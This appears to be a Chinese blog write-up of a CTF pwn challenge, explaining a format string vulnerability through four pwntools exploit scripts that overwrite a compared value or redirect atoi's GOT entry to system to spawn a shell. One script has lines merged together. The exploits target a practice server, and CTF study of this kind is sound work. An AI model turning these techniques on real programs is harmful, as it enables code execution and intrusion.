字符串格式漏洞-[第五空间2019 决赛]PWN5
之前其实也写了一篇,现在再来看。又有新的收获了,于是记录一下
前置知识
格式化字符串漏洞详解-CSDN博客
讲得很清楚,我就不照猫画虎了
实践
main函数
首先先办法泄露我们输入的地址
from pwn import *
elfpath='level0'
# io=process(elfpath)
io=remote("node5.buuoj.cn",29917)
elf=ELF(elfpath)
context(arch=elf.arch,os=elf.os,log_level = "debug")
# shell_addr=0x400596
payload1=b'a'*(0x20+8)+b'\n %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x'
payload=payload1
io.sendline(payload)
io.interactive()
偏移量10
后面就是exp的编写,难点是去理解exp
exp1:
from pwn import *
sh=remote('node5.buuoj.cn',29917)
payload = p32(0x804c044)+b'%10$n'
sh.sendline(payload)
sh.recv()
sh.sendline(b'4')
sh.interactive()
我们首先把偏移10,改为
我们需要比较的地址
p32(0x804c044)传入地址
+b'%10$n',10$选取偏移第十的地址,传入我们已经传入的字节数(4)
那么现在比对的就是4
我们传入4就可以成功比对成功
exp2
[第五空间2019 决赛]PWN5-CSDN博客
看我之前博客的,看来当时也没怎么学懂,哈哈
from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%11$hhn%10$hhn%13$hhn%12$hhn'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()
首先,我们把10-14个,放好地址。因为我们刚刚IDA可以看见,比对是个dword
然后我们直接挨着地址,用hhn,指定传入一个字节,
那么内存中就是我们之前16 16 16 16 也就是0x10101010
exp3
BUUCTF - [第五空间2019 决赛]PWN5 - 简书
借鉴博客如上
from pwn import *p = process('./pwn5')
elf = ELF('./pwn5')atoi_got = elf.got['atoi']
system_plt = elf.plt['system']payload=fmtstr_payload(10,{atoi_got:system_plt})p.sendline(payload)
p.sendline('/bin/sh\x00')p.interactive()
很清楚的,去拿库函数的got和plt(不懂可以粗俗理解为函数地址,后面再学)
exp4
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26486)unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x1111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()
这个更简单明了~
下班